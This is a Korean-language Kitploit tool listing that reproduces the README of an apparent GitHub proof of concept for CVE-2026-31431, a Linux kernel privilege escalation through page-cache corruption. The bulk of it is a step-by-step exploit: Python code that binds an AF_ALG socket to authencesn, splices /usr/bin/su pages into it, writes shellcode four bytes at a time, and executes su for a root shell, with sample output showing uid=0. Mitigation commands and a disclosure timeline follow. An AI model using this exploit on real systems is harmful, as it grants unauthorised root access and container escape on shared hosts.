Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-31431-python-copyfail-POC — # CVE-2026-31431용 Python 익스플로잇 setuid 바이너리의 페이지 캐시 손상을 통한 Linux 커널 권한 상승으로, 루트 액세스를 달성합니다. | Kitploit
도구/GitHubGitHub/julichaan/cve-2026-31431-python-copyfail-poc
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationPenetration TestingRed TeamingBinary Exploitation
GitHubjulichaan/cve-2026-31431-python-copyfail-poc

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-31431-python-copyfail-POC

# CVE-2026-31431용 Python 익스플로잇 setuid 바이너리의 페이지 캐시 손상을 통한 Linux 커널 권한 상승으로, 루트 액세스를 달성합니다.

저장소 보기
114개월 전아직 검토되지 않음

CVE-2026-31431: Copy Fail - Linux 커널 권한 상승

Copy Fail (CVE-2026-31431)은 Linux 커널의 암호화 서브시스템에서 발생하는 치명적인 로직 버그로, 권한이 없는 사용자가 root로 권한을 상승시킬 수 있게 합니다. 이 취약점은 모든 주요 배포판의 Linux 커널 6.0.0부터 6.18.x까지 영향을 미칩니다.

이 저장소에는 setuid 바이너리의 페이지 캐시를 손상시키고 root 권한으로 임의 코드를 실행하여 취약점을 트리거하는 실제 익스플로잇이 포함되어 있습니다.


Copy Fail이란 무엇인가?

Copy Fail은 권한이 없는 사용자가 시스템의 읽기 가능한 모든 파일( setuid 바이너리 포함)의 커널 페이지 캐시에 임의의 4바이트 청크를 직접 쓸 수 있게 하는 로직 버그입니다.

주요 특징:

  • 결정적(Deterministic): 레이스 컨디션이나 타이밍 윈도우가 필요 없음
  • 이식성(Portable): 동일한 익스플로잇이 모든 취약한 배포판(Ubuntu, RHEL, Amazon Linux, SUSE)에서 작동
  • 은밀성(Stealthy): 디스크의 파일은 절대 수정되지 않으며 메모리 내 페이지 캐시만 손상됨
  • 컨테이너 지원: 페이지 캐시가 호스트 전체에서 공유되므로 컨테이너 경계를 우회
  • 단순성(Simple): Python 3.10+ 및 표준 라이브러리 모듈만 필요

기술적 세부 사항

근본 원인: In-Place AEAD 연산

이 취약점은 algif_aead.c(커밋 72548b093ee3)의 2017년 최적화에서 비롯되었으며, AEAD 연산을 out-of-place에서 in-place로 변경했습니다:

이전(안전 - 2015):

root@kitploit:~
TX Scatterlist (입력)  ← TX 버퍼 (파일의 사용자 데이터)
RX Scatterlist (출력) ← RX 버퍼 (사용자의 출력 영역)
                          
별도의 scatterlist = 페이지 캐시 페이지는 읽기 전용

이후(취약 - 2017):

root@kitploit:~
결합된 Scatterlist:
[ RX 버퍼 ] [ sg_chain()으로 연결된 페이지 캐시 페이지 ]
↑                ↑
req->src = src   req->dst = dst  (동일한 scatterlist)

페이지 캐시 페이지가 이제 쓰기 가능한 scatterlist에 있음!

결합된 scatterlist는 다음과 같습니다:

root@kitploit:~
[RX 버퍼의 AAD + 암호문] || [/usr/bin/su 페이지 캐시의 태그]
                                  ↑
                                  경계
                                  (authencesn이 이 지점 너머에 씀)

트리거: authencesn 알고리즘 스크래치 쓰기

authencesn 알고리즘은 IPsec에서 확장 시퀀스 번호(ESN)에 사용되는 AEAD 래퍼입니다. HMAC 계산을 수행하지만 AAD(연관 인증 데이터) 내에서 바이트를 재배열해야 합니다.

커널 코드(crypto/authenc.c)에서 복호화 중:

root@kitploit:~
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);           // AAD 바이트 0-7 읽기
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);           // 임시: dst[4..7] 덮어쓰기
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1);  // ← 핵심 라인
                                                        // dst[assoclen+cryptlen]에 4바이트 쓰기

문제: 세 번째 쓰기는 assoclen + cryptlen 오프셋에서 발생합니다. 취약한 in-place 경로에서:

  • 일반적인 경우: 이 오프셋은 사용자의 RX 버퍼 내에 있음(무해)
  • 취약한 경우: 이 오프셋은 사용자 버퍼를 넘어 연결된 페이지 캐시 페이지로 들어감(치명적)

커널은 이 위치를 "소모 가능한 스크래치 공간"으로 취급하고 값을 영구적으로 씁니다. 페이지 캐시의 이 위치에 있던 원래 바이트는 영원히 손실됩니다.

공격 체인

root@kitploit:~
1. 공격자가 AF_ALG 소켓을 열고 → authencesn(hmac(sha256),cbc(aes))에 바인딩
   (권한 불필요; AF_ALG는 기본적으로 권한 없는 사용자에게 제공됨)

2. 공격자가 대상 파일 열기: /usr/bin/su (setuid-root 바이너리)

3. 공격자가 splice()를 사용하여 /usr/bin/su의 페이지 캐시 페이지를
   "암호문" 및 "태그"로 AF_ALG 소켓에 전달
   
4. 공격자가 다음을 포함하는 AAD로 sendmsg() 전송:
   - 바이트 0-3: 패딩
   - 바이트 4-7: seqno_lo = 쓸 4바이트 값 (공격자가 제어)
   - 바이트 8+: 패딩

5. 공격자가 AEAD 복호화 연산을 트리거하는 recvmsg() 호출
   
   커널 공간의 authencesn 복호화 내부:
   a) 커널이 AAD 바이트 0-7 읽기
   b) 커널이 dst[4..7]에 seqno_hi 쓰기 (임시, 그 후 복원)
   c) 커널이 dst[assoclen + cryptlen]에 seqno_lo 쓰기
      ↓
      이 쓰기는 사용자 버퍼에서 페이지 캐시 페이지로 교차
      ↓
      /usr/bin/su의 페이지 캐시에 4바이트 쓰기가 여기서 발생
   d) 커널이 HMAC 계산 (검증 실패 - 암호문이 위조됨)
   e) recvmsg()가 오류 반환
   
   그러나: 4바이트 쓰기는 페이지 캐시에 이미 지속됨

6. 공격자가 각 4바이트 셸코드 청크에 대해 2-5단계 반복

7. 공격자가 /usr/bin/su 실행
   - 커널이 PAGE CACHE에서 바이너리 로드 (이제 셸코드 포함)
   - 바이너리는 setuid-root
   - 셸코드가 UID=0으로 실행
   - 공격자가 root 액세스 권한 획득

이것이 작동하는 이유


익스플로잇: 단계별 설명

1단계: 소켓 설정

root@kitploit:~
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0)  # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0]  # AEAD 연산용 요청 소켓

authencesn AEAD 템플릿에 바인딩된 AF_ALG 소켓을 생성합니다.

2단계: 대상 바이너리 열기

root@kitploit:~
target_fd = os.open("/usr/bin/su", os.O_RDONLY)

손상시킬 setuid 바이너리를 엽니다. 읽기 가능한 파일이면 모두 작동하지만, 권한 상승을 위해 setuid 바이너리가 선택됩니다.

3단계: Splice용 파이프 생성

root@kitploit:~
pipe_rd, pipe_wr = os.pipe()

splice() 연산의 중개자 역할을 할 파이프를 생성합니다. 파이프 버퍼는 페이지 캐시 페이지에 대한 참조를 보유합니다.

4단계: 파일을 파이프로 Splice

root@kitploit:~
os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)

splice()를 사용하여 write_offset에서 시작하는 /usr/bin/su의 cryptlen 바이트를 파이프로 전송합니다.

이것이 중요한 이유: splice()는 복사 없이 파일 디스크립터 간에 데이터를 전송합니다. 커널 페이지 캐시 페이지에 대한 직접 참조를 전달합니다. 이 페이지들은 파이프의 내부 버퍼 구조에 유지됩니다.

5단계: AEAD 매개변수 구성

root@kitploit:~
assoclen = 8          # AAD 길이: 바이트 0-7
cryptlen = 32         # 암호문 길이 (== HMAC-SHA256 출력)
authsize = 32         # 태그 길이
write_offset = 0x2000 # /usr/bin/su에 쓸 오프셋

aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)

AAD(연관 인증 데이터)에는 다음이 포함됩니다:

  • 바이트 0-3: 패딩
  • 바이트 4-7: 쓸 4바이트 값 (seqno_lo) ← 공격자가 제어
  • 나머지: 패딩

authencesn 알고리즘은 스크래치 쓰기에서 이 AAD의 바이트 4-7을 사용합니다.

6단계: AAD 전송

root@kitploit:~
req_sock.sendmsg([aad], [], socket.MSG_MORE)

AAD를 AF_ALG 소켓으로 전송합니다. MSG_MORE 플래그는 암호문/태그가 뒤따를 것임을 나타냅니다.

7단계: 암호문+태그를 소켓으로 Splice

root@kitploit:~
os.splice(pipe_rd, req_sock.fileno(), cryptlen)

파이프에서 AF_ALG 소켓으로 페이지 캐시 페이지를 전송합니다. 이제 커널의 scatterlist에는 다음이 포함됩니다:

root@kitploit:~
Scatterlist 체인:
[ AAD (RX 버퍼에서) ] || [ 암호문 (RX 버퍼에서) ] → [ 태그 (페이지 캐시 페이지) ]
                                                               ↑
                                                     여전히 참조
                                                     /usr/bin/su의 페이지

8단계: recvmsg()로 취약점 트리거

root@kitploit:~
try:
    req_sock.recv(1024)
except OSError:
    pass  # 잘못된 HMAC로 실패할 것으로 예상

AEAD 복호화 연산을 트리거하기 위해 recvmsg()를 호출합니다:

커널 공간의 authencesn 내부:

  1. 커널이 AAD 바이트 0-7 읽기
  2. 커널이 AAD 바이트 4-7을 임시로 덮어씀 (seqno_hi)
  3. 커널이 AAD의 바이트 4-7 (seqno_lo)을 dst[assoclen + cryptlen]에 씀
    • 이 오프셋은 scatterlist에서 8 + 32 = 40바이트
    • RX 버퍼는 총 ~48바이트
    • 바이트 40에 쓰면 연결된 페이지 캐시 페이지로 교차
  4. 커널이 임시 위치에서 AAD 바이트 4-7 복원
  5. 커널이 재배열된 데이터에 대해 HMAC 계산 → 실패 (위조된 암호문)
  6. 커널이 오류 반환
  7. 그러나 오프셋 40의 4바이트 쓰기는 이미 발생했고 지속됨

9단계: 각 셸코드 청크에 대해 반복

root@kitploit:~
for i in range(0, len(shellcode), 4):
    chunk = shellcode[i:i+4]
    exploit_target_file("/usr/bin/su", base_offset + i, chunk)

익스플로잇은 루프를 돌며 /usr/bin/su의 페이지 캐시의 순차적 오프셋에 4바이트 셸코드 청크를 씁니다.

10단계: 손상된 바이너리 실행

root@kitploit:~
os.execve("/usr/bin/su", ["/usr/bin/su"], os.environ)

/usr/bin/su 실행:

  • 커널이 페이지 캐시에서 바이너리 로드 (셸코드가 포함된 손상된 버전)
  • 셸코드는 알려진 오프셋에 있음
  • 바이너리의 setuid 비트는 여전히 설정됨
  • 셸코드가 UID=0으로 실행
  • Root 셸 생성

익스플로잇 실행

사전 요구 사항

  • Linux 커널 6.0.0 - 6.18.x (취약한 버전)
  • Python 3.10+ (os.splice() 지원용)
  • AF_ALG 및 authencesn 모듈이 로드되어 있어야 함:
    root@kitploit:~
    lsmod | grep -E 'af_alg|algif_aead|authencesn'
    
  • 시스템에 대한 로컬 사용자 액세스
  • /usr/bin/su가 setuid이고 읽기 가능해야 함

실행

root@kitploit:~
python3 exploit.py

취약한 시스템에서의 예상 출력:

root@kitploit:~
[*] CVE-2026-31431 (Copy Fail) Linux 커널 권한 상승
[*] 대상: /usr/bin/su (setuid-root 바이너리)

[*] 커널 버전: 6.12.0-1007-aws
[+] 커널 6.12.x는 취약한 범위(6.0 - 6.18)에 있음

[+] /usr/bin/su 발견 (setuid-root 바이너리)
[+] 커널 취약점 확인: AF_ALG + splice + authencesn

[*] 페이지 캐시 손상 시작...

[*] /usr/bin/su에 33바이트 셸코드 주입
[+] 오프셋 0x2000에 청크 0 쓰기
[+] 오프셋 0x2004에 청크 1 쓰기
...
[+] 셸코드 주입 성공!
[*] 셸코드 트리거를 위해 /usr/bin/su 실행...

# id
uid=0(root) gid=1001(user) groups=1001(user)

완화 조치

즉시 (커널 업데이트 전)

AF_ALG AEAD 지원 비활성화:

root@kitploit:~
sudo -i
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
exit

이렇게 하면 다른 AF_ALG 기능은 유지하면서 익스플로잇이 AF_ALG의 AEAD 인터페이스에 액세스하는 것을 방지할 수 있습니다.

취약한 모듈 언로드:

root@kitploit:~
sudo rmmod algif_aead
sudo rmmod authencesn

seccomp를 통한 AF_ALG 소켓 생성 차단 (컨테이너 환경용):

root@kitploit:~
# 컨테이너 보안 정책에서 socket(38, SOCK_SEQPACKET) syscall 거부

장기적 (커널 업데이트)

수정 사항(커밋 a664bf3d603d)이 포함된 **Linux 6.19+**로 업데이트합니다.

수정 사항은 algif_aead.c를 out-of-place AEAD 연산으로 되돌립니다:

root@kitploit:~
// 이전 (취약한 in-place):
aead_request_set_crypt(&areq->cra_u.aead_req, 
                       rsgl_src,        // RX SGL (입력)
                       rsgl_src,        // RX SGL (출력) - 동일
                       used, ctx->iv);

// 이후 (수정된 out-of-place):
aead_request_set_crypt(&areq->cra_u.aead_req,
                       tsgl_src,        // TX SGL (입력)
                       rsgl_src,        // RX SGL (출력) - 다름
                       used, ctx->iv);

별도의 소스 및 대상 scatterlist 사용:

  • 입력: TX scatterlist (splice의 페이지 캐시 페이지 포함 가능)
  • 출력: RX scatterlist (사용자의 버퍼)
  • 페이지 캐시 페이지는 쓰기 가능한 대상에 절대 포함되지 않음
  • authencesn의 스크래치 쓰기는 사용자의 버퍼 내에 유지됨 (무해)

취약점 타임라인


영향을 받는 버전


이 취약점이 중요한 이유

  1. 크로스 배포판: 동일한 공격이 Ubuntu, RHEL, Amazon Linux, SUSE에서 작동
  2. 권한 불필요: 로컬 권한 없는 사용자 → root
  3. 컨테이너 탈출: 공유 페이지 캐시로 인해 파드-호스트 손상 가능
  4. Kubernetes 영향: Kubernetes 클러스터의 노드 탈출 벡터
  5. 로직 버그: off-by-one이나 버퍼 오버플로우가 아닌 순수 로직 결함
  6. 은밀성: 시스템 충돌 없음, 로그 없음, 디스크 파일 변경 없음
  7. 신뢰성: 타이밍 윈도우나 레이스 컨디션이 필요 없음

참고 자료

  • Xint Research 공개: https://xint.io/blog/copy-fail-linux-distributions
  • 커널 수정 커밋: https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
  • 취약한 커밋: https://github.com/torvalds/linux/commit/72548b093ee3
  • CVE 세부 사항: CVE-2026-31431
  • 연구 팀: Xint Code / Theori

면책 조항

이 익스플로잇은 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 액세스는 불법입니다. 취약점을 테스트하기 전에 항상 적절한 승인을 받으십시오.

도구 다운로드
측면설명
충돌 없음커널 관점에서 연산이 완료됨
결정적레이스 컨디션 없음; 동기적이고 신뢰할 수 있음
지속성페이지 캐시 손상이 recvmsg() 오류 후에도 유지됨
비가시성디스크의 파일은 변경되지 않음; 표준 무결성 도구가 감지하지 못함
범용성모든 배포판에서 동일한 코드가 작동; 배포판별 오프셋 불필요
이식성x86-64 및 ARM64 아키텍처에서 작동
날짜이벤트
2017-Q3algif_aead.c에서 취약점 도입 (커밋 72548b093ee3)
2026-03-23Linux 커널 보안 팀에 보고
2026-03-24커널 팀이 취약점 확인
2026-03-25패치 제안 및 검토
2026-04-01메인라인 커널에 패치 병합 (커밋 a664bf3d603d)
2026-04-22CVE-2026-31431 지정
2026-04-29공개 공개 (Xint Research)
시리즈상태세부 사항
Linux 5.x✅ 안전취약점 이전
Linux 6.0 - 6.18❌ 취약모든 마이너 버전 영향
Linux 6.19+✅ 안전수정 사항 포함 (커밋 a664bf3d603d)
Linux 7.0+✅ 안전수정 사항 병합 후